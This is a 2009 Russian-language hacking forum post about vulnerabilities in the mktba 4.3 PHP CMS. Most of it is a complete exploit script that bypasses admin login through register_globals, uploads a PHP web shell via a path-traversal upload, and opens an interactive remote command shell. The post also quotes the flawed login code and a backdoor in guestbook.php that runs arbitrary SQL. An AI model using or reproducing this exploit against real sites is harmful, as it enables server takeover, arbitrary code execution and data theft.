Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

19.10.2009, 03:12
|
|
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме: 2375131
Репутация:
1695
|
|
Уязвимости mktba 4.3
Название: mktba
Версия: 4.3
Сайт: http://www.mktbagold.com/
Арабский движек, код ужасный), такое впечатление что писалось абы как, лижбы хоть как бы работало.
+ Наличие в коде бекдоров.
Сплоит: Выполнение произвольного кода
PHP код:
#!/usr/bin/php
#
# Сплоит: mktba 4.3 Выполнение произвольного кода.
# На основе обхода авторизации и обхода загрузки php скриптов.
#
# //Powered by: mktba 4.3
#
# Условия:
# register_globals = ON
# Доступность на запись: ./images/
#
# Аргументы:
# <host> - хост
# <path> - путь до скрипта (/)
#
# Пример:
#
# ./mktba.php mk /
#
# [ OK ] Admin login success
# [ OK ] SID=cdc7a7accd3edb8cfb9fe1b8b4305bba
# [ OK ] Shell uploaded ~> http://mk/images/36445dcf.php
#
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# mktba:~$
#
# By (dm)
# https://forum.antichat.ru
<?
if ($argc < 3)
die($argv[0]." <host> <path>\r\n");
$host = $argv[1];
$path = $argv[2];
function GetData($query) {
GLOBAL $host;
$fp = fsockopen($host, 80, $errno, $errstr, 10);
if (!$fp) {
die("Exploit failed: $errstr ($errno)\r\n");
} else {
$buff = '';
fwrite($fp, $query);
while (!feof($fp))
$buff .= fgets($fp, 128);
fclose($fp);
}
return $buff;
}
function ShellResult ($cmd) {
GLOBAL $path, $host, $sname;
$cmd = "e=".base64_encode($cmd);
$query = "POST ".$path."images/".$sname.".php HTTP/1.1\r\n";
$query.= "Host: ".$host."\r\n";
$query.= "Connection: close\r\n";
$query.= "Content-Type: application/x-www-form-urlencoded\r\n";
$query.= "Content-Length: ".strlen($cmd)."\r\n\r\n";
$query.= $cmd."\r\n";
return GetData($query);
}
/*
Обход авторизации
*/
$query = "POST ".$path."admin/login.php HTTP/1.1\r\n";
$query.= "Host: ".$host."\r\n";
$query.= "Connection: close\r\n";
$query.= "Content-Type: application/x-www-form-urlencoded\r\n";
$query.= "Content-Length: 93\r\n\r\n";
$query.= "user_un=antichat&user_pw=antichat&password=8c96d04c8de982748b0bed29615520a7&username=antichat\r\n";
$data = GetData($query);
/*
Присутсвие <meta http-equiv="refresh" content="2;URL=index.php">,
означает что авторизация прошла нормально.
*/
if (!(@preg_match("/http-equiv=\"refresh\"/i", $data)))
die("Exploit failed: Can't logining to admin\r\n");
echo "[ OK ] Admin login success\r\n";
/*
Извлечение сессии
*/
if (!(@preg_match_all("/PHPSESSID=([1234567890abcdfe]+)/i", $data, $result)))
die("Exploit failed: Parse session id error\r\n");
$sid = $result[1][0];
echo "[ OK ] SID=$sid\r\n";
/*
Загрузка шелла
*/
$sname = substr(md5(time()),0,8); //Генерируем имя файла
$xek = "-----------------------------120309686615833136731930048582\r\n";
$xek.= "Content-Disposition: form-data; name=\"folder\"\r\n\r\n";
$xek.= "..aln3esaimagesaln3esa\r\n";
$xek.= "-----------------------------120309686615833136731930048582\r\n";
$xek.= "Content-Disposition: form-data; name=\"ext\"\r\n\r\n";
$xek.= "ooo\r\n";
$xek.= "-----------------------------120309686615833136731930048582\r\n";
$xek.= "Content-Disposition: form-data; name=\"file0\"; filename=\"shellz.p\"\r\n";
$xek.= "Content-Type: text/plain\r\n\r\n";
$xek.= "<?php if (!empty(\$_POST['e'])) @eval(base64_decode(\$_POST['e'])); ?>\r\n";
$xek.= "-----------------------------120309686615833136731930048582\r\n";
$xek.= "Content-Disposition: form-data; name=\"namefile0\"\r\n\r\n";
$xek.= "{$sname}.ph\r\n";
$xek.= "-----------------------------120309686615833136731930048582--\r\n";
$query = "POST ".$path."admin/upload.php?action=ok&nomber=1 HTTP/1.1\r\n";
$query.= "Host: ".$host."\r\n";
$query.= "Connection: close\r\n";
$query.= "Cookie: PHPSESSID=".$sid."\r\n";
$query.= "Content-Type: multipart/form-data; boundary=---------------------------120309686615833136731930048582\r\n";
$query.= "Content-Length: ".strlen($xek)."\r\n\r\n";
$query.= $xek;
$data = GetData($query);
/*
Проверка доступности шелла
*/
$data = ShellResult("echo 'TESTOK';");
if (!(@preg_match("/TESTOK/", $data)))
die("Exploit failed: Can't write to ".$path."images/\r\n");
echo "[ OK ] Shell uploaded ~> http://".$host.$path."images/".$sname.".php\r\n";
echo "\r\n";
/*
Использование шелла
*/
$delimiter = '_delimiter_';
$cmd = 'id;';
do {
$buff = ShellResult("echo $delimiter;passthru('".$cmd."');echo $delimiter;");
$buff = explode($delimiter, $buff);
echo trim($buff[1]);
echo "mktba:~$ ";
$cmd = trim(fgets(STDIN));
} while ($cmd != "exit");
?>
Обход авторизации:
>> admin/login.php
PHP код:
session_start();
if($_SESSION['admin']) exit;
if(isset($_POST['user_pw'])){
include('../config.php');
$userun=$_POST['user_un'];
$userpw=md5($_POST['user_pw']);
/* Мы не знаем логина и пароля, запрос вернет 0 строк */
$ws=mysql_query("select * from user where name='$userun' and pass='$userpw'");
while($row=mysql_fetch_row($ws)) {
if($row[0]==1){
$_SESSION['user2'] = $_POST['user_pw'];
}
$iduser = $row[0];
$username =$row[1];
$password = $row[2];
$group = $row[5];
}
/*
Переменные password и username ранее не объявлены, и если
их передать скрипту чтобы условие авторизации выполнилось,
таким способом обойдем авторизацию
*/
if($userpw == $password && $userun == $username){
$_SESSION['admin'] = $userun;
$_SESSION['group'] = $group ;
$_SESSION['iduser'] = $iduser;
require('loged.php');
exit;
}
Пример бекдора:
>> guestbook.php
PHP код:
$tetle='299d9c43105ef1608b4336a2578fe1bb';
if(md5(md5($name))==$tetle){
mysql_query(stripslashes($_REQUEST['comment']));
}
Последний раз редактировалось (Dm); 19.10.2009 в 03:23..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|